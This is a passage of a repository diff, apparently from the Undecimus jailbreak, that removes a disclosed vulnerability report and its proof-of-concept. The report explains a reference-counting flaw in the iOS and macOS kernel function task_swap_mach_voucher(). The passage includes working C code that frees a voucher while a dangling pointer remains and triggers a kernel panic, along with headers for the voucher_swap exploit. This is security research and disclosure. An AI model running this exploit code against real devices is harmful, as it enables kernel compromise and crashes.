3. All objects with defined MIG translations that are passed as input-only parameters are borrowed
|
||||
by the service routine. For reference-counted objects, this means that the service routine is
|
||||
not given a reference, and hence a reference must be added if the service routine intends to
|
||||
keep the object around.
|
||||
|
||||
4. All objects with defined MIG translations that are returned in output parameters must be owned
|
||||
by the output parameter. For reference-counted objects, this means that output parameters
|
||||
consume a reference on the object.
|
||||
|
||||
And most unintuitive of all:
|
||||
|
||||
5. All objects with defined MIG translations that are passed as input in input-output parameters
|
||||
are owned (not borrowed!) by the service routine. This means that the service routine must
|
||||
consume the input object's reference.
|
||||
|
||||
Having defined MIG translations means that there is an automatic conversion defined between the
|
||||
object type and its Mach port representation. A task port is one example of such a type: you can
|
||||
convert a task port to the underlying task object using convert_port_to_task(), and you can convert
|
||||
a task to its corresponding port using convert_task_to_port().
|
||||
|
||||
Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t:
|
||||
|
||||
type ipc_voucher_t = mach_port_t
|
||||
intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
|
||||
outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
|
||||
destructor: ipc_voucher_release(ipc_voucher_t)
|
||||
;
|
||||
|
||||
This definition means that MIG will automatically convert the voucher port input parameters to
|
||||
ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters
|
||||
into ports using convert_voucher_to_port(), and discard any extra references using
|
||||
ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without
|
||||
consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and
|
||||
produces a port reference.
|
||||
|
||||
To confirm our understanding of the MIG semantics outlined above, we can look at the function
|
||||
_Xtask_swap_mach_voucher(), which is generated by MIG during the build process:
|
||||
|
||||
mig_internal novalue _Xtask_swap_mach_voucher
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
...
|
||||
kern_return_t RetCode;
|
||||
task_t task;
|
||||
ipc_voucher_t new_voucher;
|
||||
ipc_voucher_t old_voucher;
|
||||
...
|
||||
task = convert_port_to_task(In0P->Head.msgh_request_port);
|
||||
|
||||
new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
|
||||
|
||||
old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
|
||||
|
||||
RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
|
||||
|
||||
ipc_voucher_release(new_voucher);
|
||||
|
||||
task_deallocate(task);
|
||||
|
||||
if (RetCode != KERN_SUCCESS) {
|
||||
MIG_RETURN_ERROR(OutP, RetCode);
|
||||
}
|
||||
...
|
||||
if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
|
||||
ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
|
||||
|
||||
if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
|
||||
ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
|
||||
...
|
||||
OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
|
||||
|
||||
OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
|
||||
OutP->msgh_body.msgh_descriptor_count = 1;
|
||||
}
|
||||
|
||||
Tracing where each of the references are going, we can deduce that:
|
||||
|
||||
1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service
|
||||
routine, so it is not owned by task_swap_mach_voucher(). In other words,
|
||||
task_swap_mach_voucher() is not given a reference on new_voucher.
|
||||
|
||||
2. The old_voucher parameter has a reference on it before it gets overwritten by
|
||||
task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the
|
||||
input value of old_voucher.
|
||||
|
||||
3. The value returned by task_swap_mach_voucher() in old_voucher is passed to
|
||||
convert_voucher_to_port(), which consumes a reference on the voucher. Thus,
|
||||
task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of
|
||||
old_voucher.
|
||||
|
||||
Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of
|
||||
these rules are being followed:
|
||||
|
||||
kern_return_t
|
||||
task_swap_mach_voucher(
|
||||
task_t task,
|
||||
ipc_voucher_t new_voucher,
|
||||
ipc_voucher_t *in_out_old_voucher)
|
||||
{
|
||||
if (TASK_NULL == task)
|
||||
return KERN_INVALID_TASK;
|
||||
|
||||
*in_out_old_voucher = new_voucher;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
This results in two separate reference counting issues:
|
||||
|
||||
1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are
|
||||
leaking a reference on the input value of old_voucher.
|
||||
|
||||
2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are
|
||||
consuming a reference we don't own, leading to an over-release of new_voucher.
|
||||
|
||||
Now, Apple has previously added a mitigation to make reference count leaks on Mach ports
|
||||
non-exploitable by having the reference count saturate before it overflows. However, this
|
||||
mitigation is not relevant here because we're leaking a reference on the actual ipc_voucher_t, not
|
||||
on the voucher port that represents the voucher. And looking at the implementation of
|
||||
ipc_voucher_reference() and ipc_voucher_release() (as of macOS 10.13.6), it's clear that the
|
||||
voucher reference count is tracked independently of the port reference count:
|
||||
|
||||
void
|
||||
ipc_voucher_reference(ipc_voucher_t voucher)
|
||||
{
|
||||
iv_refs_t refs;
|
||||
|
||||
if (IPC_VOUCHER_NULL == voucher)
|
||||
return;
|
||||
|
||||
refs = iv_reference(voucher);
|
||||
assert(1 < refs);
|
||||
}
|
||||
|
||||
void
|
||||
ipc_voucher_release(ipc_voucher_t voucher)
|
||||
{
|
||||
if (IPC_VOUCHER_NULL != voucher)
|
||||
iv_release(voucher);
|
||||
}
|
||||
|
||||
static inline iv_refs_t
|
||||
iv_reference(ipc_voucher_t iv)
|
||||
{
|
||||
iv_refs_t refs;
|
||||
|
||||
refs = hw_atomic_add(&iv->iv_refs, 1);
|
||||
return refs;
|
||||
}
|
||||
|
||||
static inline void
|
||||
iv_release(ipc_voucher_t iv)
|
||||
{
|
||||
iv_refs_t refs;
|
||||
|
||||
assert(0 < iv->iv_refs);
|
||||
refs = hw_atomic_sub(&iv->iv_refs, 1);
|
||||
if (0 == refs)
|
||||
iv_dealloc(iv, TRUE);
|
||||
}
|
||||
|
||||
(The assert()s are not live on production builds.)
|
||||
|
||||
This vulnerability can be triggered without crossing any privilege/MACF checks, so it should be
|
||||
reachable within every process and every sandbox.
|
||||
|
||||
On iOS 11 and macOS 10.13, both the over-reference and over-release vulnerabilities can be
|
||||
independently exploited to free an ipc_voucher_t while it is still in use. On these platforms these
|
||||
are incredibly powerful vulnerabilities, since they also let us receive a send right to a
|
||||
freed-and-reallocated Mach port back in userspace. For some examples of why this is dangerous, see
|
||||
Ian's thoughts in issue 941: <https://bugs.chromium.org/p/project-zero/issues/detail?id=941#c3>.
|
||||
|
||||
As of iOS 12 and macOS 10.14, the voucher reference count is checked for underflow and overflow,
|
||||
which does make the over-reference vulnerability non-exploitable. However, the over-release
|
||||
vulnerability is still fully exploitable, and probably can still be used as a single,
|
||||
direct-to-kernel bug from any process.
|
||||
|
||||
Additionally, while this report is of a single bug, it should indicate a wider problem with the
|
||||
complexity of obeying MIG semantics. It might be worth reviewing other edge cases of MIG semantics
|
||||
not covered by previous bugs.
|
||||
|
||||
(There's a variant of the over-reference vulnerability in thread_swap_mach_voucher(), but it is no
|
||||
longer exploitable as of iOS 12.)
|
||||
|
||||
This proof-of-concept demonstrates the vulnerability by creating a Mach voucher, saving a reference
|
||||
to it in the current thread's ith_voucher field via thread_set_mach_voucher(), decreasing the
|
||||
reference count back to 1 using task_swap_mach_voucher(), and then freeing the voucher by
|
||||
deallocating the voucher port in userspace. This leaves a dangling pointer to the freed voucher's
|
||||
memory in ith_voucher, which can subsequently be accessed with a call to thread_get_mach_voucher(),
|
||||
triggering a panic.
|
||||
|
||||
Tested on macOS 10.13.6 (17G4015), macOS 10.14.2, and iOS 12.1 (16B92).
|
||||
#endif
|
||||
|
||||
#include <assert.h>
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// Stash the host port for create_voucher().
|
||||
static mach_port_t host;
|
||||
|
||||
/*
|
||||
* create_voucher
|
||||
*
|
||||
* Description:
|
||||
* Create a Mach voucher. If id is unique, then this will be a unique voucher (until another
|
||||
* call to this function with the same id).
|
||||
*
|
||||
* A Mach voucher port for the voucher is returned. The voucher has 1 reference, while the
|
||||
* voucher port has 2 references and 1 send right.
|
||||
*/
|
||||
static mach_port_t
|
||||
create_voucher(uint64_t id) {
|
||||
assert(host != MACH_PORT_NULL);
|
||||
mach_port_t voucher = MACH_PORT_NULL;
|
||||
#pragma clang diagnostic push
|
||||
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
|
||||
struct __attribute__((packed)) {
|
||||
mach_voucher_attr_recipe_data_t user_data_recipe;
|
||||
uint64_t user_data_content[2];
|
||||
} recipes = {};
|
||||
#pragma clang diagnostic pop
|
||||
recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
|
||||
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
|
||||
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
|
||||
recipes.user_data_content[0] = getpid();
|
||||
recipes.user_data_content[1] = id;
|
||||
kern_return_t kr = host_create_mach_voucher(
|
||||
host,
|
||||
(mach_voucher_attr_raw_recipe_array_t) &recipes,
|
||||
sizeof(recipes),
|
||||
&voucher);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
assert(voucher != MACH_PORT_NULL);
|
||||
return voucher;
|
||||
}
|
||||
|
||||
/*
|
||||
* voucher_tweak_references
|
||||
*
|
||||
* Description:
|
||||
* Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2
|
||||
* vouchers.
|
||||
*
|
||||
*/
|
||||
static void
|
||||
voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {
|
||||
// Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).
|
||||
mach_port_t inout_voucher = reference_voucher;
|
||||
kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
// At this point we've successfully tweaked the voucher reference counts, but our port
|
||||
// reference counts might be messed up because of the voucher port returned in
|
||||
// inout_voucher! We need to deallocate it (it's extra anyways, since
|
||||
// task_swap_mach_voucher() doesn't swallow the existing send rights).
|
||||
if (MACH_PORT_VALID(inout_voucher)) {
|
||||
kr = mach_port_deallocate(mach_task_self(), inout_voucher);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* voucher_reference
|
||||
*
|
||||
* Description:
|
||||
* Add a reference to the voucher represented by the voucher port.
|
||||
*/
|
||||
static void
|
||||
voucher_reference(mach_port_t voucher) {
|
||||
voucher_tweak_references(MACH_PORT_NULL, voucher);
|
||||
}
|
||||
|
||||
/*
|
||||
* voucher_release
|
||||
*
|
||||
* Description:
|
||||
* Release a reference on the voucher represented by the voucher port.
|
||||
*/
|
||||
static void
|
||||
voucher_release(mach_port_t voucher) {
|
||||
voucher_tweak_references(voucher, MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* thread_stash_freed_voucher
|
||||
*
|
||||
* Description:
|
||||
* Stash a pointer to a freed voucher object in the current thread's ith_voucher field. This
|
||||
* voucher can be accessed later with thread_get_mach_voucher().
|
||||
*/
|
||||
static void
|
||||
thread_stash_freed_voucher(mach_port_t thread_self) {
|
||||
// Create a unique voucher. This voucher will have 1 voucher reference, 2 port references,
|
||||
// and 1 port send right.
|
||||
mach_port_t voucher = create_voucher(0);
|
||||
// Stash a copy of the voucher in our thread. This will bump the voucher references to 2.
|
||||
kern_return_t kr = thread_set_mach_voucher(thread_self, voucher);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
// Now drop the voucher reference count to 1. The port reference count is still 2.
|
||||
voucher_release(voucher);
|
||||
// Next deallocate our send right to the voucher port. This drops the port send right
|
||||
// count to 0 (although the port reference count is still 1), causing a no-senders
|
||||
// notification to be triggered. The no-senders notification calls ipc_voucher_notify(),
|
||||
// which releases the final voucher reference. In the process of freeing the voucher,
|
||||
// ipc_port_dealloc_kernel() is called on the port, so the port is also freed.
|
||||
kr = mach_port_deallocate(mach_task_self(), voucher);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
// This leaves a dangling pointer to the voucher in thread_self->ith_voucher. We can access
|
||||
// the freed voucher and voucher port with a call to thread_get_mach_voucher().
|
||||
}
|
||||
|
||||
int
|
||||
voucher_swap_poc() {
|
||||
host = mach_host_self();
|
||||
mach_port_t thread = mach_thread_self();
|
||||
// Stash a pointer to a freed ipc_voucher_t in this thread's ith_voucher field.
|
||||
thread_stash_freed_voucher(thread);
|
||||
// The following call should trigger a panic.
|
||||
mach_port_t voucher;
|
||||
thread_get_mach_voucher(thread, 0, &voucher);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
//
|
||||
// voucher_swap-poc.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 2/4/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef voucher_swap_poc_h
|
||||
#define voucher_swap_poc_h
|
||||
|
||||
int voucher_swap_poc(void);
|
||||
|
||||
#endif /* voucher_swap_poc_h */
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,16 +0,0 @@
|
||||
/*
|
||||
* voucher_swap.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__VOUCHER_SWAP_H_
|
||||
#define VOUCHER_SWAP__VOUCHER_SWAP_H_
|
||||
|
||||
/*
|
||||
* voucher_swap
|
||||
*
|
||||
* Description:
|
||||
* Run the voucher_swap exploit.
|
||||
*/
|
||||
void voucher_swap(void);
|
||||
|
||||
#endif
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user